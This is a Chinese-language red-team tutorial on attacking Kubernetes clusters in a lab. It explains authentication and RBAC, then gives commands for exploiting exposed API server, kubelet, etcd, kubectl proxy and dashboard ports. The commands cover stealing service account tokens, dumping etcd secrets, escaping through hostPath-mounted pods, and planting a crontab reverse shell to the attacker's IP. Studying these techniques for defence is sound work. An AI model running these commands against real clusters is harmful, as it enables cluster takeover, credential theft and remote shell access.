K8s安全攻防
前言
Kubernetes，簡(jiǎn)稱k8s，是當(dāng)前主流的容器調(diào)度平臺(tái)，被稱為云原生時(shí)代的操作系統(tǒng)。在實(shí)際項(xiàng)目也經(jīng)常發(fā)現(xiàn)廠商部署了使用k8s進(jìn)行管理的云原生架構(gòu)環(huán)境，在目前全面上云的趨勢(shì)，有必要學(xué)習(xí)在k8s環(huán)境的下的一些攻擊手法。
k8s用戶
Kubernetes 集群中包含兩類(lèi)用戶：一類(lèi)是由 Kubernetes管理的service account,另一類(lèi)是普通用戶。
·??????? service account 是由 Kubernetes API管理的賬戶。它們都綁定到了特定的 namespace,并由 API server 自動(dòng)創(chuàng)建，或者通過(guò) API 調(diào)用手動(dòng)創(chuàng)建。Service account 關(guān)聯(lián)了一套憑證，存儲(chǔ)在 Secret，這些憑證同時(shí)被掛載到 pod 中，從而允許 pod 與 kubernetes API 之間的調(diào)用。
·??????? Use Account（用戶賬號(hào)）：一般是指由獨(dú)立于Kubernetes之外的其他服務(wù)管理的用 戶賬號(hào)，例如由管理員分發(fā)的密鑰、Keystone一類(lèi)的用戶存儲(chǔ)（賬號(hào)庫(kù)）、甚至是包 含有用戶名和密碼列表的文件等。Kubernetes中不存在表示此類(lèi)用戶賬號(hào)的對(duì)象， 因此不能被直接添加進(jìn) Kubernetes 系統(tǒng)中 。
k8s訪問(wèn)控制過(guò)程
k8s 中所有的 api 請(qǐng)求都要通過(guò)一個(gè) gateway 也就是 apiserver 組件來(lái)實(shí)現(xiàn)，是集群唯一的訪問(wèn)入口。 主要實(shí)現(xiàn)的功能就是api 的認(rèn)證 + 鑒權(quán)以及準(zhǔn)入控制。
三種機(jī)制：
認(rèn)證：Authentication，即身份認(rèn)證。檢查用戶是否為合法用戶，如客戶端證書(shū)、密碼、bootstrap tookens和JWT tokens等方式。
鑒權(quán)：Authorization，即權(quán)限判斷。判斷該用戶是否具有該操作的權(quán)限，k8s 中支持 Node、RBAC（Role-Based Access ? ? ?Control）、ABAC、webhook等機(jī)制，RBAC 為主流方式
準(zhǔn)入控制：Admission Control。請(qǐng)求的最后一個(gè)步驟，一般用于拓展功能，如檢查 pod 的resource是否配置，yaml配置的安全是否合規(guī)等。一般使用admission webhooks來(lái)實(shí)現(xiàn)
注意：認(rèn)證授權(quán)過(guò)程只存在HTTPS形式的API中。也就是說(shuō)，如果客戶端使用HTTP連接到kube-apiserver，是不會(huì)進(jìn)行認(rèn)證授權(quán)
k8s認(rèn)證
X509 client certs
客戶端證書(shū)認(rèn)證，X509 是一種數(shù)字證書(shū)的格式標(biāo)準(zhǔn)，是 kubernetes 中默認(rèn)開(kāi)啟使用最多的一種，也是最安全的一種。api-server 啟動(dòng)時(shí)會(huì)指定 ca 證書(shū)以及 ca 私鑰，只要是通過(guò)同一個(gè) ca 簽發(fā)的客戶端 x509 證書(shū)，則認(rèn)為是可信的客戶端，kubeadm 安裝集群時(shí)就是基于證書(shū)的認(rèn)證方式。
user 生成 kubeconfig就是X509 client certs方式。
Service Account Tokens
因?yàn)榛趚509的認(rèn)證方式相對(duì)比較復(fù)雜，不適用于k8s集群內(nèi)部pod的管理。Service Account Tokens是 service account 使用的認(rèn)證方式。定義一個(gè) pod 應(yīng)該擁有什么權(quán)限。
service account 主要包含了三個(gè)內(nèi)容：namespace、token 和 ca
namespace: 指定了 pod 所在的 namespace
token: token 用作身份驗(yàn)證
ca: ca 用于驗(yàn)證 apiserver 的證書(shū)
k8s鑒權(quán)
K8S 目前支持了如下四種授權(quán)機(jī)制：
Node
ABAC
RBAC
Webhook
具體到授權(quán)模式其實(shí)有六種:
基于屬性的訪問(wèn)控制（ABAC）模式允許你 使用本地文件配置策略。
基于角色的訪問(wèn)控制（RBAC）模式允許你使用 Kubernetes API 創(chuàng)建和存儲(chǔ)策略。
WebHook 是一種 HTTP 回調(diào)模式，允許你使用遠(yuǎn)程 REST 端點(diǎn)管理鑒權(quán)。
node節(jié)點(diǎn)鑒權(quán)是一種特殊用途的鑒權(quán)模式，專門(mén)對(duì) kubelet 發(fā)出的 API 請(qǐng)求執(zhí)行鑒權(quán)。
AlwaysDeny阻止所有請(qǐng)求。僅將此標(biāo)志用于測(cè)試。
AlwaysAllow允許所有請(qǐng)求。僅在你不需要 API 請(qǐng)求 的鑒權(quán)時(shí)才使用此標(biāo)志。
可以選擇多個(gè)鑒權(quán)模塊。模塊按順序檢查，以便較靠前的模塊具有更高的優(yōu)先級(jí)來(lái)允許 或拒絕請(qǐng)求。
從1.6版本起，Kubernetes 默認(rèn)啟用RBAC訪問(wèn)控制策略。從1.8開(kāi)始，RBAC已作為穩(wěn)定的功能。
想了解更多RBAC的內(nèi)容可以參考:使用 RBAC 鑒權(quán) | Kubernetes
實(shí)驗(yàn)環(huán)境
搭建環(huán)境使用3臺(tái)centos 7，環(huán)境搭建可以參考:
https://segmentfault.com/a/1190000037682150
一個(gè)集群包含三個(gè)節(jié)點(diǎn)，其中包括一個(gè)控制節(jié)點(diǎn)和兩個(gè)工作節(jié)點(diǎn)
·??????? K8s-master 192.168.11.152
·??????? K8s-node1 192.168.11.153
·??????? K8s-node2 192.168.11.160
攻擊機(jī)kali
192.168.11.128
k8s環(huán)境中的信息收集
信息收集與我們的攻擊場(chǎng)景或者說(shuō)進(jìn)入的內(nèi)網(wǎng)的起點(diǎn)分不開(kāi)。一般來(lái)說(shuō)內(nèi)網(wǎng)不會(huì)完全基于容器技術(shù)進(jìn)行構(gòu)建。所以起點(diǎn)一般可以分為權(quán)限受限的容器和物理主機(jī)內(nèi)網(wǎng)。
在K8s內(nèi)部集群網(wǎng)絡(luò)主要依靠網(wǎng)絡(luò)插件,目前使用比較多的主要是Flannel和Calico
主要存在4種類(lèi)型的通信:
同一Pod內(nèi)的容器間通信
各Pod彼此間通信
Pod與Service間的通信
集群外部的流量與Service間的通信
當(dāng)我們起點(diǎn)是一個(gè)在k8s集群內(nèi)部權(quán)限受限的容器時(shí)，和常規(guī)內(nèi)網(wǎng)滲透區(qū)別不大，上傳端口掃描工具探測(cè)即可。
在k8s環(huán)境中，內(nèi)網(wǎng)探測(cè)可以高度關(guān)注的端口:
k8s環(huán)境中的攻擊方式
基本思路
和在域滲透里面不斷橫向?qū)ふ矣蚬軕{據(jù)類(lèi)似，在k8s環(huán)境里的基本思路同樣是尋找高權(quán)限的憑據(jù)或者組件配置不當(dāng)導(dǎo)致的未授權(quán)訪問(wèn)從而接管k8s集群。
使用 kubeconfig（即證書(shū)） 和 token 兩種認(rèn)證方式是最簡(jiǎn)單也最通用的認(rèn)證方式。
K8s configfile作為K8s集群的管理憑證，其中包含有關(guān)K8s集群的詳細(xì)信息（API Server、登錄憑證）,默認(rèn)的 kubeconfig 文件保存在 $HOME/.kube/config
service-account-tokens 是服務(wù)賬戶的憑證（token），一個(gè) pod 與一個(gè)服務(wù)賬戶相關(guān)聯(lián)，該服務(wù)賬戶的憑證（token）被放入該pod中每個(gè)容器的文件系統(tǒng)樹(shù)在/var/run/secrets/kubernetes.io/serviceaccount/token。
拿到管理憑據(jù)或者通過(guò)其他方式接管集權(quán)后基本操作:
創(chuàng)建后門(mén)Pod/掛載主機(jī)路徑-->通過(guò)Kubectl 進(jìn)入容器 -->利用掛載目錄逃逸
攻擊8080端口
原理
舊版本的k8s的API Server 默認(rèn)會(huì)開(kāi)啟兩個(gè)端口：8080 和 6443。6443是安全端口，安全端口使用TLS加密；但是8080 端口無(wú)需認(rèn)證，僅用于測(cè)試。6443 端口需要認(rèn)證，且有 TLS 保護(hù)。
新版本k8s默認(rèn)已經(jīng)不開(kāi)啟8080。需要更改相應(yīng)的配置
cd /etc/kubernetes/manifests/，修改api-kube.conf，添加
在實(shí)際環(huán)境中，因?yàn)?080端口相對(duì)比較常見(jiàn)，導(dǎo)致在內(nèi)部排查常常忽略這個(gè)風(fēng)險(xiǎn)點(diǎn)。
利用
直接訪問(wèn) 8080 端口會(huì)返回可用的 API 列表:
使用kubectl可以指定IP和端口調(diào)用存在未授權(quán)漏洞的API Server。
如果沒(méi)有kubectl，需要安裝kubectl，安裝可以參考官網(wǎng)文檔:
在 ? ? ?Linux 上安裝 ? ? ?kubectl
在 ? ? ?macOS 上安裝 ? ? ?kubectl
在 ? ? ?Windows 上安裝 ? ? ?kubectl
使用kubectl獲取集群信息:
kubectl -s ip:port get nodes
注:如果你的kubectl版本比服務(wù)器的高，會(huì)出現(xiàn)錯(cuò)誤，需要把kubectl的版本降低.
接著在本機(jī)上新建個(gè)yaml文件用于創(chuàng)建容器，并將節(jié)點(diǎn)的根目錄掛載到容器的 /mnt 目錄，內(nèi)容如下：
然后使用 kubectl 創(chuàng)建容器,這個(gè)時(shí)候我們發(fā)現(xiàn)是無(wú)法指定在哪個(gè)節(jié)點(diǎn)上創(chuàng)建pod。
kubectl -s 192.168.11.152:8080 create -f test.yamlkubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash
寫(xiě)入反彈 shell 的定時(shí)任務(wù)
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab
稍等一會(huì)獲得node02節(jié)點(diǎn)權(quán)限：
或者也可以通過(guò)寫(xiě)公私鑰的方式控制宿主機(jī)。
如果apiserver配置了dashboard的話，可以直接通過(guò)ui界面創(chuàng)建pod。
攻擊6443端口
原理
6443端口的利用要通過(guò)API Server的鑒權(quán)，直接訪問(wèn)會(huì)提示匿名用戶鑒權(quán)失?。?/p>
在實(shí)際情況中，一些集群由于鑒權(quán)配置不當(dāng)，將"system:anonymous"用戶綁定到"cluster-admin"用戶組，從而使6443端口允許匿名用戶以管理員權(quán)限向集群內(nèi)部下發(fā)指令。
kubectl create clusterrolebinding system:anonymous?? --clusterrole=cluster-admin?? --user=system:anonymous
利用
利用cdk工具通過(guò)"system:anonymous"匿名賬號(hào)嘗試登錄
./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"
攻擊10250端口
原理
Kubelet API 一般監(jiān)聽(tīng)在2個(gè)端口：10250、10255。其中，10250端口是可讀寫(xiě)的，10255是一個(gè)只讀端口。
10250是 kubelet API 的 HTTPS 端口，在默認(rèn)情況下，kubelet 監(jiān)聽(tīng)的 10250 端口沒(méi)有進(jìn)行任何認(rèn)證鑒權(quán)，導(dǎo)致通過(guò)這個(gè)端口可以對(duì) kubelet 節(jié)點(diǎn)上運(yùn)行的 pod 進(jìn)行任何操作。目前在k8s默認(rèn)的安全配置下，Kubelet API是需要安全認(rèn)證的。
最常見(jiàn)的未授權(quán)訪問(wèn)一般是10255端口，但這個(gè)端口的利用價(jià)值偏低，只能讀取到一些基本信息。
利用
可以直接控制該node下的所有pod
檢索尋找特權(quán)容器，獲取 Token
如果能夠從pod獲取高權(quán)限的token，則可以直接接管集群。
安全配置的Kubelet API需要認(rèn)證，訪問(wèn) https://192.168.11.160:10250/pods，頁(yè)面將返回 401 Unauthorized
在node02節(jié)點(diǎn)上打開(kāi)配置文件/var/lib/kubelet/config.yaml
apiVersion: kubelet.config.k8s.io/v1beta1authentication:? anonymous:??? enabled: false
默認(rèn)是false,修改authentication的anonymous為true,將 authorization mode 修改為 AlwaysAllow,之后重啟kubelet進(jìn)程。
訪問(wèn)https://192.168.11.160:10250/pods，出現(xiàn)如下數(shù)據(jù)表示可以利用：
新版的k8s認(rèn)證方式authorization mode默認(rèn)為webhook,需要 Kubelet 通過(guò) Api Server 進(jìn)行授權(quán)。這樣只是將authentication的anonymous改為true也無(wú)法利用:
想要在容器里執(zhí)行命令的話，我們需要首先確定namespace、pod_name、container_name這幾個(gè)參數(shù)來(lái)確認(rèn)容器的位置。
metadata.namespace 下的值為 namespace
metadata.name下的值為 pod_name
spec.containers下的 name 值為 container_name
這里可以通過(guò)檢索securityContext字段快速找到特權(quán)容器
在對(duì)應(yīng)的容器里執(zhí)行命令,獲取 Token，該token可用于Kubernetes API認(rèn)證，Kubernetes默認(rèn)使用RBAC鑒權(quán)（當(dāng)使用kubectl命令時(shí)其實(shí)是底層通過(guò)證書(shū)認(rèn)證的方式調(diào)用Kubernetes API）
token 默認(rèn)保存在pod 里的/var/run/secrets/kubernetes.io/serviceaccount/token
curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
如果掛載到集群內(nèi)的token具有創(chuàng)建pod的權(quán)限，可以通過(guò)token訪問(wèn)集群的api創(chuàng)建特權(quán)容器，然后通過(guò)特權(quán)容器逃逸到宿主機(jī)，從而擁有集群節(jié)點(diǎn)的權(quán)限
kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods
接下來(lái)便是通過(guò)創(chuàng)建pod來(lái)掛載目錄，然后用crontab來(lái)獲得shell了 。
攻擊2379端口
原理
etcd組件默認(rèn)監(jiān)聽(tīng)2379端口：默認(rèn)通過(guò)證書(shū)認(rèn)證，主要存放節(jié)點(diǎn)的信息，如一些token和證書(shū)。
kubernetes的master會(huì)自動(dòng)安裝etcd v3(注意版本)用來(lái)存儲(chǔ)數(shù)據(jù)，如果管理員進(jìn)行了錯(cuò)誤的配置，導(dǎo)致etcd未授權(quán)訪問(wèn)的情況，那么攻擊者就可以從etcd中拿到kubernetes的認(rèn)證鑒權(quán)token，從而接管集群。
利用
etcd2和etcd3是不兼容的，兩者的api參數(shù)也不一樣。k8s現(xiàn)在使用的是etcd v3，必須提供ca、key、cert，否則會(huì)出現(xiàn)Error: context deadline exceeded。
使用官方提供的etcdctl直接用命令行即可訪問(wèn)etcd:
下載etcd：https://github.com/etcd-io/etcd/releases
解壓后在命令行中進(jìn)入etcd目錄下。
etcdctl api版本切換：
export ETCDCTL_API=2export ETCDCTL_API=3
探測(cè)是否存在未授權(quán)訪問(wèn)的Client API
etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only
默認(rèn)情況下需要授權(quán)才能訪問(wèn)，帶上證書(shū)訪問(wèn):
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
查看k8s的secrets：
etcdctl get / --prefix --keys-only | grep /secrets/
讀取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterroleetcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
之后就通過(guò)token訪問(wèn)API-Server，獲取集群的權(quán)限：
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods
也可以嘗試dump etcd數(shù)據(jù)庫(kù)，然后去找敏感信息
ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
如果服務(wù)器啟用了https，需要加上兩個(gè)參數(shù)忽略證書(shū)校驗(yàn) --insecure-transport --insecure-skip-tls-verify
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
Kubectl Proxy
原理
當(dāng)運(yùn)維人員需要某個(gè)環(huán)境暴露端口或者IP時(shí)，會(huì)用到Kubectl Proxy
使用kubectl proxy命令就可以使API server監(jiān)聽(tīng)在本地的8009端口上：
利用
設(shè)置API server接收所有主機(jī)的請(qǐng)求：
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
之后就可以通過(guò)特定端口訪問(wèn)k8s集群
kubectl -s http://192.168.11.152:8009 get pods -n kube-system
Dashboard
原理
dashboard是Kubernetes官方推出的控制Kubernetes的圖形化界面.在Kubernetes配置不當(dāng)導(dǎo)致dashboard未授權(quán)訪問(wèn)漏洞的情況下，通過(guò)dashboard我們可以控制整個(gè)集群。
用戶開(kāi)啟了enable-skip-login時(shí)可以在登錄界面點(diǎn)擊Skip跳過(guò)登錄進(jìn)入dashboard.
為Kubernetes-dashboard綁定cluster-admin（cluster-admin擁有管理集群的最高權(quán)限）.
利用
默認(rèn)配置登陸是需要輸入 Token 的且不能跳過(guò)
但是如果在配置參數(shù)中添加了如下參數(shù)，那么在登陸的過(guò)程中就可以進(jìn)行跳過(guò) Token 輸入環(huán)節(jié)
- --enable-skip-login
?點(diǎn)擊Skip進(jìn)入dashboard實(shí)際上使用的是Kubernetes-dashboard這個(gè)ServiceAccount，如果此時(shí)該ServiceAccount沒(méi)有配置特殊的權(quán)限，是默認(rèn)沒(méi)有辦法達(dá)到控制集群任意功能的程度的。
給Kubernetes-dashboard綁定cluster-admin:
apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:? name: dashboard-1subjects:- kind: ServiceAccount? name: k8s-dashboard-kubernetes-dashboard? namespace: kube-systemroleRef:? kind: ClusterRole? name: cluster-admin? apiGroup: rbac.authorization.k8s.io
綁定完成后，再次刷新 dashboard 的界面，就可以看到整個(gè)集群的資源情況。
獲取訪問(wèn)后直接創(chuàng)建特權(quán)容器即可getshell
k8s環(huán)境中的橫向移動(dòng)
目的
通常來(lái)說(shuō)，拿到kubeconfig或者能訪問(wèn)apiserver的serviceaccount token，就代表著控下了整個(gè)集群。
但往往在紅隊(duì)攻擊中，我們常常要拿到某一類(lèi)特定重要系統(tǒng)的服務(wù)器權(quán)限來(lái)得分。前面我們已經(jīng)可以在節(jié)點(diǎn)上通過(guò)創(chuàng)建pod來(lái)逃逸，從而獲得節(jié)點(diǎn)對(duì)應(yīng)主機(jī)的權(quán)限，那么我們是否能控制pod在指定節(jié)點(diǎn)上生成，逃逸某個(gè)指定的Node或Master節(jié)點(diǎn)。
親和性與反親和性
一般來(lái)說(shuō)我們部署的Pod是通過(guò)集群的自動(dòng)調(diào)度策略來(lái)選擇節(jié)點(diǎn)的，但是因?yàn)橐恍?shí)際業(yè)務(wù)的需求可能需要控制某些pod調(diào)度到特定的節(jié)點(diǎn)。就需要用到 Kubernetes 里面的一個(gè)概念：親和性和反親和性。
親和性又分成節(jié)點(diǎn)親和性( nodeAffinity )和 Pod 親和性( podAffinity )。
·??????? 節(jié)點(diǎn)親和性通俗些描述就是用來(lái)控制 Pod 要部署在哪些節(jié)點(diǎn)上，以及不能部署在哪些節(jié)點(diǎn)上的
·??????? pod親和性和反親和性表示pod部署到或不部署到滿足某些label的pod所在的node上
節(jié)點(diǎn)親和性( nodeAffinity )
節(jié)點(diǎn)親和性主要是用來(lái)控制 pod 要部署在哪些主機(jī)上，以及不能部署在哪些主機(jī)上的,演示一下:
查看node的label命令
kubectl get nodes --show-labels
給節(jié)點(diǎn)打上label標(biāo)簽
kubectl label nodes k8s-node01 com=justtestnode/k8s-node01 labeled
當(dāng)node 被打上了相關(guān)標(biāo)簽后，在調(diào)度的時(shí)候就可以使用這些標(biāo)簽了，只需要在 Pod 的spec字段中添加 nodeSelector 字段
apiVersion: v1kind: Podmetadata:? name: node-schedulerspec:? nodeSelector:??? com: justtest
Pod 親和性( podAffinity )
pod 親和性主要處理的是 pod 與 pod 之間的關(guān)系，比如一個(gè) pod 在一個(gè)節(jié)點(diǎn)上了，那么另一個(gè)也得在這個(gè)節(jié)點(diǎn)，或者你這個(gè) pod 在節(jié)點(diǎn)上了，那么我就不想和你待在同一個(gè)節(jié)點(diǎn)上。
污點(diǎn)與容忍度
節(jié)點(diǎn)親和性是 Pod的一種屬性，它使 Pod 被吸引到一類(lèi)特定的節(jié)點(diǎn)。 污點(diǎn)（Taint）則相反——它使節(jié)點(diǎn)能夠排斥一類(lèi)特定的 Pod。
污點(diǎn)標(biāo)記選項(xiàng)：
NoSchedule，表示pod 不會(huì)被調(diào)度到標(biāo)記為 taints 的節(jié)點(diǎn)
PreferNoSchedule，NoSchedule 的軟策略版本，表示盡量不調(diào)度到污點(diǎn)節(jié)點(diǎn)上去
NoExecute ：該選項(xiàng)意味著一旦 Taint 生效，如該節(jié)點(diǎn)內(nèi)正在運(yùn)行的pod 沒(méi)有對(duì)應(yīng) Tolerate 設(shè)置，會(huì)直接被逐出
我們使用kubeadm搭建的集群默認(rèn)就給 master 節(jié)點(diǎn)添加了一個(gè)污點(diǎn)標(biāo)記，所以我們看到我們平時(shí)的 pod 都沒(méi)有被調(diào)度到master 上去。
給指定節(jié)點(diǎn)標(biāo)記污點(diǎn) taint :
kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule
上面將 k8s-node01 節(jié)點(diǎn)標(biāo)記為了污點(diǎn)，影響策略是 NoSchedule，只會(huì)影響新的 pod 調(diào)度。
由于 node01節(jié)點(diǎn)被標(biāo)記為了污點(diǎn)節(jié)點(diǎn)，所以我們這里要想 pod 能夠調(diào)度到 node01節(jié)點(diǎn)去，就需要增加容忍的聲明
使用污點(diǎn)和容忍度能夠使Pod靈活的避開(kāi)某些節(jié)點(diǎn)或者將某些Pod從節(jié)點(diǎn)上驅(qū)逐。詳細(xì)概念可以參考官網(wǎng)文檔:污點(diǎn)和容忍度 | Kubernetes
實(shí)現(xiàn)master節(jié)點(diǎn)逃逸
比如要想獲取到master節(jié)點(diǎn)的shell，則可以從這兩點(diǎn)考慮
去掉“污點(diǎn)”（taints）（生產(chǎn)環(huán)境不推薦)
讓pod能夠容忍（tolerations）該節(jié)點(diǎn)上的“污點(diǎn)”。
查看k8s-master的節(jié)點(diǎn)情況，確認(rèn)Master節(jié)點(diǎn)的容忍度:
創(chuàng)建帶有容忍參數(shù)并且掛載宿主機(jī)根目錄的Pod
apiVersion: v1kind: Podmetadata:? name: myapp2spec:? containers:? - image: nginx??? name: test-container??? volumeMounts:??? - mountPath: /mnt????? name: test-volume? tolerations:? - key: node-role.kubernetes.io/master??? operator: Exists??? effect: NoSchedule? volumes:? - name: test-volume??? hostPath:????? path: /kubectl -s 192.168.11.152:8080 create -f test.yaml --validate=falsekubectl -s 192.168.11.152:8080 --namespace=default exec -it test-master bash
之后按照上面逃逸node01節(jié)點(diǎn)的方式寫(xiě)入ssh公鑰即可getshell。
